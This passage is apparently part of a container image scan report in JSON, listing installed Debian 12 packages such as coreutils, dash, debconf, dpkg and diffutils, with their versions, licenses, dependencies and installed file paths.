"/usr/share/locale/zh_CN/LC_MESSAGES/coreutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/coreutils.mo", "/usr/share/man/man1/arch.1.gz", "/usr/share/man/man1/b2sum.1.gz", "/usr/share/man/man1/base32.1.gz", "/usr/share/man/man1/base64.1.gz", "/usr/share/man/man1/basename.1.gz", "/usr/share/man/man1/basenc.1.gz", "/usr/share/man/man1/cat.1.gz", "/usr/share/man/man1/chcon.1.gz", "/usr/share/man/man1/chgrp.1.gz", "/usr/share/man/man1/chmod.1.gz", "/usr/share/man/man1/chown.1.gz", "/usr/share/man/man1/cksum.1.gz", "/usr/share/man/man1/comm.1.gz", "/usr/share/man/man1/cp.1.gz", "/usr/share/man/man1/csplit.1.gz", "/usr/share/man/man1/cut.1.gz", "/usr/share/man/man1/date.1.gz", "/usr/share/man/man1/dd.1.gz", "/usr/share/man/man1/df.1.gz", "/usr/share/man/man1/dir.1.gz", "/usr/share/man/man1/dircolors.1.gz", "/usr/share/man/man1/dirname.1.gz", "/usr/share/man/man1/du.1.gz", "/usr/share/man/man1/echo.1.gz", "/usr/share/man/man1/env.1.gz", "/usr/share/man/man1/expand.1.gz", "/usr/share/man/man1/expr.1.gz", "/usr/share/man/man1/factor.1.gz", "/usr/share/man/man1/false.1.gz", "/usr/share/man/man1/fmt.1.gz", "/usr/share/man/man1/fold.1.gz", "/usr/share/man/man1/groups.1.gz", "/usr/share/man/man1/head.1.gz", "/usr/share/man/man1/hostid.1.gz", "/usr/share/man/man1/id.1.gz", "/usr/share/man/man1/install.1.gz", "/usr/share/man/man1/join.1.gz", "/usr/share/man/man1/link.1.gz", "/usr/share/man/man1/ln.1.gz", "/usr/share/man/man1/logname.1.gz", "/usr/share/man/man1/ls.1.gz", "/usr/share/man/man1/md5sum.1.gz", "/usr/share/man/man1/mkdir.1.gz", "/usr/share/man/man1/mkfifo.1.gz", "/usr/share/man/man1/mknod.1.gz", "/usr/share/man/man1/mktemp.1.gz", "/usr/share/man/man1/mv.1.gz", "/usr/share/man/man1/nice.1.gz", "/usr/share/man/man1/nl.1.gz", "/usr/share/man/man1/nohup.1.gz", "/usr/share/man/man1/nproc.1.gz", "/usr/share/man/man1/numfmt.1.gz", "/usr/share/man/man1/od.1.gz", "/usr/share/man/man1/paste.1.gz", "/usr/share/man/man1/pathchk.1.gz", "/usr/share/man/man1/pinky.1.gz", "/usr/share/man/man1/pr.1.gz", "/usr/share/man/man1/printenv.1.gz", "/usr/share/man/man1/printf.1.gz", "/usr/share/man/man1/ptx.1.gz", "/usr/share/man/man1/pwd.1.gz", "/usr/share/man/man1/readlink.1.gz", "/usr/share/man/man1/realpath.1.gz", "/usr/share/man/man1/rm.1.gz", "/usr/share/man/man1/rmdir.1.gz", "/usr/share/man/man1/runcon.1.gz", "/usr/share/man/man1/seq.1.gz", "/usr/share/man/man1/sha1sum.1.gz", "/usr/share/man/man1/sha224sum.1.gz", "/usr/share/man/man1/sha256sum.1.gz", "/usr/share/man/man1/sha384sum.1.gz", "/usr/share/man/man1/sha512sum.1.gz", "/usr/share/man/man1/shred.1.gz", "/usr/share/man/man1/shuf.1.gz", "/usr/share/man/man1/sleep.1.gz", "/usr/share/man/man1/sort.1.gz", "/usr/share/man/man1/split.1.gz", "/usr/share/man/man1/stat.1.gz", "/usr/share/man/man1/stdbuf.1.gz", "/usr/share/man/man1/stty.1.gz", "/usr/share/man/man1/sum.1.gz", "/usr/share/man/man1/sync.1.gz", "/usr/share/man/man1/tac.1.gz", "/usr/share/man/man1/tail.1.gz", "/usr/share/man/man1/tee.1.gz", "/usr/share/man/man1/test.1.gz", "/usr/share/man/man1/timeout.1.gz", "/usr/share/man/man1/touch.1.gz", "/usr/share/man/man1/tr.1.gz", "/usr/share/man/man1/true.1.gz", "/usr/share/man/man1/truncate.1.gz", "/usr/share/man/man1/tsort.1.gz", "/usr/share/man/man1/tty.1.gz", "/usr/share/man/man1/uname.1.gz", "/usr/share/man/man1/unexpand.1.gz", "/usr/share/man/man1/uniq.1.gz", "/usr/share/man/man1/unlink.1.gz", "/usr/share/man/man1/users.1.gz", "/usr/share/man/man1/vdir.1.gz", "/usr/share/man/man1/wc.1.gz", "/usr/share/man/man1/who.1.gz", "/usr/share/man/man1/whoami.1.gz", "/usr/share/man/man1/yes.1.gz", "/usr/share/man/man8/chroot.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "cpp@4:12.2.0-3", "Name": "cpp", "Identifier": { "PURL": "pkg:deb/debian/cpp@12.2.0-3?arch=amd64\u0026distro=debian-12.13\u0026epoch=4", "UID": "ccdc4b065d41dda4" }, "Version": "12.2.0", "Release": "3", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.203", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-12@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/share/doc/cpp/README.Debian", "/usr/share/doc/cpp/changelog.gz", "/usr/share/doc/cpp/copyright", "/usr/share/lintian/overrides/cpp" ], "AnalyzedBy": "dpkg" }, { "ID": "cpp-12@12.2.0-14+deb12u1", "Name": "cpp-12", "Identifier": { "PURL": "pkg:deb/debian/cpp-12@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "4a5e706ab20ec505" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13", "libgmp10@2:6.2.1+dfsg1-1.1", "libisl23@0.25-1.1", "libmpc3@1.3.1-1", "libmpfr6@4.2.0-1", "libzstd1@1.5.4+dfsg2-5", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/x86_64-linux-gnu-cpp-12", "/usr/lib/gcc/x86_64-linux-gnu/12/cc1", "/usr/share/lintian/overrides/cpp-12" ], "AnalyzedBy": "dpkg" }, { "ID": "dash@0.5.12-2", "Name": "dash", "Identifier": { "PURL": "pkg:deb/debian/dash@0.5.12-2?arch=amd64\u0026distro=debian-12.13", "UID": "911233b6616a4a5f" }, "Version": "0.5.12", "Release": "2", "Arch": "amd64", "SrcName": "dash", "SrcVersion": "0.5.12", "SrcRelease": "2", "Licenses": [ "BSD-3-Clause", "public-domain", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Andrej Shadura \u003candrewsh@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debianutils@5.7-0.5~deb12u1", "dpkg@1.21.22" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/dash", "/usr/share/debianutils/shells.d/dash", "/usr/share/doc/dash/NEWS.Debian.gz", "/usr/share/doc/dash/README.Debian.diet", "/usr/share/doc/dash/README.source", "/usr/share/doc/dash/changelog.Debian.gz", "/usr/share/doc/dash/changelog.gz", "/usr/share/doc/dash/copyright", "/usr/share/lintian/overrides/dash", "/usr/share/man/man1/dash.1.gz", "/usr/share/menu/dash" ], "AnalyzedBy": "dpkg" }, { "ID": "debconf@1.5.82", "Name": "debconf", "Identifier": { "PURL": "pkg:deb/debian/debconf@1.5.82?arch=all\u0026distro=debian-12.13", "UID": "7031db14643b8375" }, "Version": "1.5.82", "Arch": "all", "SrcName": "debconf", "SrcVersion": "1.5.82", "Licenses": [ "BSD-2-Clause" ], "Maintainer": "Debconf Developers \u003cdebconf-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/bin/debconf", "/usr/bin/debconf-apt-progress", "/usr/bin/debconf-communicate", "/usr/bin/debconf-copydb", "/usr/bin/debconf-escape", "/usr/bin/debconf-set-selections", "/usr/bin/debconf-show", "/usr/sbin/dpkg-preconfigure", "/usr/sbin/dpkg-reconfigure", "/usr/share/bash-completion/completions/debconf", "/usr/share/debconf/confmodule", "/usr/share/debconf/confmodule.sh", "/usr/share/debconf/debconf.conf", "/usr/share/debconf/fix_db.pl", "/usr/share/debconf/frontend", "/usr/share/doc/debconf/NEWS.Debian.gz", "/usr/share/doc/debconf/README.Debian", "/usr/share/doc/debconf/changelog.gz", "/usr/share/doc/debconf/copyright", "/usr/share/lintian/overrides/debconf", "/usr/share/man/man1/debconf-apt-progress.1.gz", "/usr/share/man/man1/debconf-communicate.1.gz", "/usr/share/man/man1/debconf-copydb.1.gz", "/usr/share/man/man1/debconf-escape.1.gz", "/usr/share/man/man1/debconf-set-selections.1.gz", "/usr/share/man/man1/debconf-show.1.gz", "/usr/share/man/man1/debconf.1.gz", "/usr/share/man/man8/dpkg-preconfigure.8.gz", "/usr/share/man/man8/dpkg-reconfigure.8.gz", "/usr/share/perl5/Debconf/AutoSelect.pm", "/usr/share/perl5/Debconf/Base.pm", "/usr/share/perl5/Debconf/Client/ConfModule.pm", "/usr/share/perl5/Debconf/ConfModule.pm", "/usr/share/perl5/Debconf/Config.pm", "/usr/share/perl5/Debconf/Db.pm", "/usr/share/perl5/Debconf/DbDriver.pm", "/usr/share/perl5/Debconf/DbDriver/Backup.pm", "/usr/share/perl5/Debconf/DbDriver/Cache.pm", "/usr/share/perl5/Debconf/DbDriver/Copy.pm", "/usr/share/perl5/Debconf/DbDriver/Debug.pm", "/usr/share/perl5/Debconf/DbDriver/DirTree.pm", "/usr/share/perl5/Debconf/DbDriver/Directory.pm", "/usr/share/perl5/Debconf/DbDriver/File.pm", "/usr/share/perl5/Debconf/DbDriver/LDAP.pm", "/usr/share/perl5/Debconf/DbDriver/PackageDir.pm", "/usr/share/perl5/Debconf/DbDriver/Pipe.pm", "/usr/share/perl5/Debconf/DbDriver/Stack.pm", "/usr/share/perl5/Debconf/Element.pm", "/usr/share/perl5/Debconf/Element/Dialog/Boolean.pm", "/usr/share/perl5/Debconf/Element/Dialog/Error.pm", "/usr/share/perl5/Debconf/Element/Dialog/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Dialog/Note.pm", "/usr/share/perl5/Debconf/Element/Dialog/Password.pm", "/usr/share/perl5/Debconf/Element/Dialog/Progress.pm", "/usr/share/perl5/Debconf/Element/Dialog/Select.pm", "/usr/share/perl5/Debconf/Element/Dialog/String.pm", "/usr/share/perl5/Debconf/Element/Dialog/Text.pm", "/usr/share/perl5/Debconf/Element/Editor/Boolean.pm", "/usr/share/perl5/Debconf/Element/Editor/Error.pm", "/usr/share/perl5/Debconf/Element/Editor/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Editor/Note.pm", "/usr/share/perl5/Debconf/Element/Editor/Password.pm", "/usr/share/perl5/Debconf/Element/Editor/Progress.pm", "/usr/share/perl5/Debconf/Element/Editor/Select.pm", "/usr/share/perl5/Debconf/Element/Editor/String.pm", "/usr/share/perl5/Debconf/Element/Editor/Text.pm", "/usr/share/perl5/Debconf/Element/Gnome.pm", "/usr/share/perl5/Debconf/Element/Gnome/Boolean.pm", "/usr/share/perl5/Debconf/Element/Gnome/Error.pm", "/usr/share/perl5/Debconf/Element/Gnome/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Gnome/Note.pm", "/usr/share/perl5/Debconf/Element/Gnome/Password.pm", "/usr/share/perl5/Debconf/Element/Gnome/Progress.pm", "/usr/share/perl5/Debconf/Element/Gnome/Select.pm", "/usr/share/perl5/Debconf/Element/Gnome/String.pm", "/usr/share/perl5/Debconf/Element/Gnome/Text.pm", "/usr/share/perl5/Debconf/Element/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Noninteractive.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Boolean.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Error.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Note.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Password.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Progress.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Select.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/String.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Text.pm", "/usr/share/perl5/Debconf/Element/Select.pm", "/usr/share/perl5/Debconf/Element/Teletype/Boolean.pm", "/usr/share/perl5/Debconf/Element/Teletype/Error.pm", "/usr/share/perl5/Debconf/Element/Teletype/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Teletype/Note.pm", "/usr/share/perl5/Debconf/Element/Teletype/Password.pm", "/usr/share/perl5/Debconf/Element/Teletype/Progress.pm", "/usr/share/perl5/Debconf/Element/Teletype/Select.pm", "/usr/share/perl5/Debconf/Element/Teletype/String.pm", "/usr/share/perl5/Debconf/Element/Teletype/Text.pm", "/usr/share/perl5/Debconf/Element/Web/Boolean.pm", "/usr/share/perl5/Debconf/Element/Web/Error.pm", "/usr/share/perl5/Debconf/Element/Web/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Web/Note.pm", "/usr/share/perl5/Debconf/Element/Web/Password.pm", "/usr/share/perl5/Debconf/Element/Web/Progress.pm", "/usr/share/perl5/Debconf/Element/Web/Select.pm", "/usr/share/perl5/Debconf/Element/Web/String.pm", "/usr/share/perl5/Debconf/Element/Web/Text.pm", "/usr/share/perl5/Debconf/Encoding.pm", "/usr/share/perl5/Debconf/Format.pm", "/usr/share/perl5/Debconf/Format/822.pm", "/usr/share/perl5/Debconf/FrontEnd.pm", "/usr/share/perl5/Debconf/FrontEnd/Dialog.pm", "/usr/share/perl5/Debconf/FrontEnd/Editor.pm", "/usr/share/perl5/Debconf/FrontEnd/Gnome.pm", "/usr/share/perl5/Debconf/FrontEnd/Kde.pm", "/usr/share/perl5/Debconf/FrontEnd/Noninteractive.pm", "/usr/share/perl5/Debconf/FrontEnd/Passthrough.pm", "/usr/share/perl5/Debconf/FrontEnd/Readline.pm", "/usr/share/perl5/Debconf/FrontEnd/ScreenSize.pm", "/usr/share/perl5/Debconf/FrontEnd/Teletype.pm", "/usr/share/perl5/Debconf/FrontEnd/Text.pm", "/usr/share/perl5/Debconf/FrontEnd/Web.pm", "/usr/share/perl5/Debconf/Gettext.pm", "/usr/share/perl5/Debconf/Iterator.pm", "/usr/share/perl5/Debconf/Log.pm", "/usr/share/perl5/Debconf/Path.pm", "/usr/share/perl5/Debconf/Priority.pm", "/usr/share/perl5/Debconf/Question.pm", "/usr/share/perl5/Debconf/Template.pm", "/usr/share/perl5/Debconf/Template/Transient.pm", "/usr/share/perl5/Debconf/TmpFile.pm", "/usr/share/perl5/Debian/DebConf/Client/ConfModule.pm", "/usr/share/pixmaps/debian-logo.png" ], "AnalyzedBy": "dpkg" }, { "ID": "debian-archive-keyring@2023.3+deb12u2", "Name": "debian-archive-keyring", "Identifier": { "PURL": "pkg:deb/debian/debian-archive-keyring@2023.3%2Bdeb12u2?arch=all\u0026distro=debian-12.13", "UID": "eaf3ce116c1e926d" }, "Version": "2023.3+deb12u2", "Arch": "all", "SrcName": "debian-archive-keyring", "SrcVersion": "2023.3+deb12u2", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Debian Release Team \u003cpackages@release.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/share/doc/debian-archive-keyring/README", "/usr/share/doc/debian-archive-keyring/changelog.gz", "/usr/share/doc/debian-archive-keyring/copyright", "/usr/share/keyrings/debian-archive-bookworm-automatic.gpg", "/usr/share/keyrings/debian-archive-bookworm-security-automatic.gpg", "/usr/share/keyrings/debian-archive-bookworm-stable.gpg", "/usr/share/keyrings/debian-archive-bullseye-automatic.gpg", "/usr/share/keyrings/debian-archive-bullseye-security-automatic.gpg", "/usr/share/keyrings/debian-archive-bullseye-stable.gpg", "/usr/share/keyrings/debian-archive-keyring.gpg", "/usr/share/keyrings/debian-archive-removed-keys.gpg", "/usr/share/keyrings/debian-archive-trixie-automatic.gpg", "/usr/share/keyrings/debian-archive-trixie-security-automatic.gpg", "/usr/share/keyrings/debian-archive-trixie-stable.gpg" ], "AnalyzedBy": "dpkg" }, { "ID": "debianutils@5.7-0.5~deb12u1", "Name": "debianutils", "Identifier": { "PURL": "pkg:deb/debian/debianutils@5.7-0.5~deb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "e0076698ca6b7339" }, "Version": "5.7", "Release": "0.5~deb12u1", "Arch": "amd64", "SrcName": "debianutils", "SrcVersion": "5.7", "SrcRelease": "0.5~deb12u1", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "public-domain", "SMAIL-GPL" ], "Maintainer": "Clint Adams \u003cclint@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/run-parts", "/bin/tempfile", "/sbin/installkernel", "/usr/bin/ischroot", "/usr/bin/savelog", "/usr/bin/which.debianutils", "/usr/sbin/add-shell", "/usr/sbin/remove-shell", "/usr/sbin/update-shells", "/usr/share/debianutils/shells", "/usr/share/doc/debianutils/README.shells.gz", "/usr/share/doc/debianutils/changelog.Debian.gz", "/usr/share/doc/debianutils/changelog.gz", "/usr/share/doc/debianutils/copyright", "/usr/share/man/de/man1/which.debianutils.1.gz", "/usr/share/man/de/man8/add-shell.8.gz", "/usr/share/man/de/man8/installkernel.8.gz", "/usr/share/man/de/man8/remove-shell.8.gz", "/usr/share/man/de/man8/run-parts.8.gz", "/usr/share/man/de/man8/savelog.8.gz", "/usr/share/man/es/man1/which.debianutils.1.gz", "/usr/share/man/es/man8/add-shell.8.gz", "/usr/share/man/es/man8/installkernel.8.gz", "/usr/share/man/es/man8/remove-shell.8.gz", "/usr/share/man/es/man8/run-parts.8.gz", "/usr/share/man/es/man8/savelog.8.gz", "/usr/share/man/fr/man1/which.debianutils.1.gz", "/usr/share/man/fr/man8/add-shell.8.gz", "/usr/share/man/fr/man8/installkernel.8.gz", "/usr/share/man/fr/man8/remove-shell.8.gz", "/usr/share/man/fr/man8/run-parts.8.gz", "/usr/share/man/fr/man8/savelog.8.gz", "/usr/share/man/it/man1/which.debianutils.1.gz", "/usr/share/man/it/man8/add-shell.8.gz", "/usr/share/man/it/man8/installkernel.8.gz", "/usr/share/man/it/man8/remove-shell.8.gz", "/usr/share/man/it/man8/run-parts.8.gz", "/usr/share/man/it/man8/savelog.8.gz", "/usr/share/man/ja/man1/which.debianutils.1.gz", "/usr/share/man/ja/man8/add-shell.8.gz", "/usr/share/man/ja/man8/installkernel.8.gz", "/usr/share/man/ja/man8/remove-shell.8.gz", "/usr/share/man/ja/man8/run-parts.8.gz", "/usr/share/man/ja/man8/savelog.8.gz", "/usr/share/man/man1/ischroot.1.gz", "/usr/share/man/man1/tempfile.1.gz", "/usr/share/man/man1/which.debianutils.1.gz", "/usr/share/man/man8/add-shell.8.gz", "/usr/share/man/man8/installkernel.8.gz", "/usr/share/man/man8/remove-shell.8.gz", "/usr/share/man/man8/run-parts.8.gz", "/usr/share/man/man8/savelog.8.gz", "/usr/share/man/man8/update-shells.8.gz", "/usr/share/man/pl/man1/which.debianutils.1.gz", "/usr/share/man/pl/man8/add-shell.8.gz", "/usr/share/man/pl/man8/installkernel.8.gz", "/usr/share/man/pl/man8/remove-shell.8.gz", "/usr/share/man/pl/man8/run-parts.8.gz", "/usr/share/man/pl/man8/savelog.8.gz", "/usr/share/man/pt/man1/which.1.gz", "/usr/share/man/pt/man8/add-shell.8.gz", "/usr/share/man/pt/man8/installkernel.8.gz", "/usr/share/man/pt/man8/remove-shell.8.gz", "/usr/share/man/pt/man8/run-parts.8.gz", "/usr/share/man/pt/man8/savelog.8.gz", "/usr/share/man/sl/man1/which.debianutils.1.gz", "/usr/share/man/sl/man8/add-shell.8.gz", "/usr/share/man/sl/man8/installkernel.8.gz", "/usr/share/man/sl/man8/remove-shell.8.gz", "/usr/share/man/sl/man8/run-parts.8.gz", "/usr/share/man/sl/man8/savelog.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "diffutils@1:3.8-4", "Name": "diffutils", "Identifier": { "PURL": "pkg:deb/debian/diffutils@3.8-4?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "88676a587026548b" }, "Version": "3.8", "Release": "4", "Epoch": 1, "Arch": "amd64", "SrcName": "diffutils", "SrcVersion": "3.8", "SrcRelease": "4", "SrcEpoch": 1, "Licenses": [ "GPL-3.0-or-later", "FSFULLR", "LGPL-2.1-or-later", "GPL-3.0-with-autoconf-exception+", "GPL-3.0-only", "GPL-3+ with texinfo exception", "LGPL-2.0-or-later", "GPL-2.0-or-later", "X11", "FSFAP", "GFDL-1.3-no-invariants-only", "LGPL-3.0-or-later", "LGPL-3.0-only", "public-domain", "LGPL-2.0-only", "LGPL-2.1-only", "GPL-2.0-only", "GFDL-1.3-only" ], "Maintainer": "Santiago Vila \u003csanvila@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/bin/cmp", "/usr/bin/diff", "/usr/bin/diff3", "/usr/bin/sdiff", "/usr/share/doc/diffutils/NEWS.gz", "/usr/share/doc/diffutils/changelog.Debian.gz", "/usr/share/doc/diffutils/changelog.gz", "/usr/share/doc/diffutils/copyright", "/usr/share/info/diffutils.info.gz", "/usr/share/locale/bg/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ca/LC_MESSAGES/diffutils.mo", "/usr/share/locale/cs/LC_MESSAGES/diffutils.mo", "/usr/share/locale/da/LC_MESSAGES/diffutils.mo", "/usr/share/locale/de/LC_MESSAGES/diffutils.mo", "/usr/share/locale/el/LC_MESSAGES/diffutils.mo", "/usr/share/locale/eo/LC_MESSAGES/diffutils.mo", "/usr/share/locale/es/LC_MESSAGES/diffutils.mo", "/usr/share/locale/fi/LC_MESSAGES/diffutils.mo", "/usr/share/locale/fr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ga/LC_MESSAGES/diffutils.mo", "/usr/share/locale/gl/LC_MESSAGES/diffutils.mo", "/usr/share/locale/he/LC_MESSAGES/diffutils.mo", "/usr/share/locale/hr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/hu/LC_MESSAGES/diffutils.mo", "/usr/share/locale/id/LC_MESSAGES/diffutils.mo", "/usr/share/locale/it/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ja/LC_MESSAGES/diffutils.mo", "/usr/share/locale/lv/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ms/LC_MESSAGES/diffutils.mo", "/usr/share/locale/nb/LC_MESSAGES/diffutils.mo", "/usr/share/locale/nl/LC_MESSAGES/diffutils.mo", "/usr/share/locale/pl/LC_MESSAGES/diffutils.mo", "/usr/share/locale/pt/LC_MESSAGES/diffutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ro/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ru/LC_MESSAGES/diffutils.mo", "/usr/share/locale/sr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/sv/LC_MESSAGES/diffutils.mo", "/usr/share/locale/tr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/uk/LC_MESSAGES/diffutils.mo", "/usr/share/locale/vi/LC_MESSAGES/diffutils.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/diffutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/diffutils.mo", "/usr/share/man/man1/cmp.1.gz", "/usr/share/man/man1/diff.1.gz", "/usr/share/man/man1/diff3.1.gz", "/usr/share/man/man1/sdiff.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "dpkg@1.21.22", "Name": "dpkg", "Identifier": { "PURL": "pkg:deb/debian/dpkg@1.21.22?arch=amd64\u0026distro=debian-12.13", "UID": "89296d94e4355658" }, "Version": "1.21.22", "Arch": "amd64", "SrcName": "dpkg", "SrcVersion": "1.21.22", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "BSD-2-Clause", "public-domain-s-s-d" ], "Maintainer": "Dpkg Developers \u003cdebian-dpkg@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "tar@1.34+dfsg-1.2+deb12u1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/systemd/system/dpkg-db-backup.service", "/lib/systemd/system/dpkg-db-backup.timer", "/sbin/start-stop-daemon", "/usr/bin/dpkg", "/usr/bin/dpkg-deb", "/usr/bin/dpkg-divert", "/usr/bin/dpkg-maintscript-helper", "/usr/bin/dpkg-query", "/usr/bin/dpkg-realpath", "/usr/bin/dpkg-split", "/usr/bin/dpkg-statoverride", "/usr/bin/dpkg-trigger", "/usr/bin/update-alternatives", "/usr/libexec/dpkg/dpkg-db-backup", "/usr/sbin/dpkg-fsys-usrunmess", "/usr/share/bug/dpkg", "/usr/share/doc/dpkg/AUTHORS", "/usr/share/doc/dpkg/README.api", "/usr/share/doc/dpkg/README.bug-usertags.gz", "/usr/share/doc/dpkg/README.feature-removal-schedule.gz", "/usr/share/doc/dpkg/THANKS.gz", "/usr/share/doc/dpkg/changelog.gz", "/usr/share/doc/dpkg/copyright", "/usr/share/dpkg/abitable", "/usr/share/dpkg/cputable", "/usr/share/dpkg/ostable", "/usr/share/dpkg/sh/dpkg-error.sh", "/usr/share/dpkg/tupletable", "/usr/share/lintian/overrides/dpkg", "/usr/share/lintian/profiles/dpkg/main.profile", "/usr/share/locale/ast/LC_MESSAGES/dpkg.mo", "/usr/share/locale/bs/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ca/LC_MESSAGES/dpkg.mo", "/usr/share/locale/cs/LC_MESSAGES/dpkg.mo", "/usr/share/locale/da/LC_MESSAGES/dpkg.mo", "/usr/share/locale/de/LC_MESSAGES/dpkg.mo", "/usr/share/locale/dz/LC_MESSAGES/dpkg.mo", "/usr/share/locale/el/LC_MESSAGES/dpkg.mo", "/usr/share/locale/eo/LC_MESSAGES/dpkg.mo", "/usr/share/locale/es/LC_MESSAGES/dpkg.mo", "/usr/share/locale/et/LC_MESSAGES/dpkg.mo", "/usr/share/locale/eu/LC_MESSAGES/dpkg.mo", "/usr/share/locale/fr/LC_MESSAGES/dpkg.mo", "/usr/share/locale/gl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/hu/LC_MESSAGES/dpkg.mo", "/usr/share/locale/id/LC_MESSAGES/dpkg.mo", "/usr/share/locale/it/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ja/LC_MESSAGES/dpkg.mo", "/usr/share/locale/km/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ko/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ku/LC_MESSAGES/dpkg.mo", "/usr/share/locale/lt/LC_MESSAGES/dpkg.mo", "/usr/share/locale/mr/LC_MESSAGES/dpkg.mo", "/usr/share/locale/nb/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ne/LC_MESSAGES/dpkg.mo", "/usr/share/locale/nl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/nn/LC_MESSAGES/dpkg.mo", "/usr/share/locale/oc/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pa/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pt/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ro/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ru/LC_MESSAGES/dpkg.mo", "/usr/share/locale/sk/LC_MESSAGES/dpkg.mo", "/usr/share/locale/sv/LC_MESSAGES/dpkg.mo", "/usr/share/locale/th/LC_MESSAGES/dpkg.mo", "/usr/share/locale/tl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/tr/LC_MESSAGES/dpkg.mo", "/usr/share/locale/vi/LC_MESSAGES/dpkg.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/dpkg.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/dpkg.mo", "/usr/share/man/de/man1/dpkg-deb.1.gz", "/usr/share/man/de/man1/dpkg-divert.1.gz", "/usr/share/man/de/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/de/man1/dpkg-query.1.gz", "/usr/share/man/de/man1/dpkg-realpath.1.gz", "/usr/share/man/de/man1/dpkg-split.1.gz", "/usr/share/man/de/man1/dpkg-statoverride.1.gz", "/usr/share/man/de/man1/dpkg-trigger.1.gz", "/usr/share/man/de/man1/dpkg.1.gz", "/usr/share/man/de/man1/update-alternatives.1.gz", "/usr/share/man/de/man5/dpkg.cfg.5.gz", "/usr/share/man/de/man8/dpkg-fsys-usrunmess.8.gz", "/usr/share/man/de/man8/start-stop-daemon.8.gz", "/usr/share/man/es/man1/dpkg-split.1.gz", "/usr/share/man/es/man5/dpkg.cfg.5.gz", 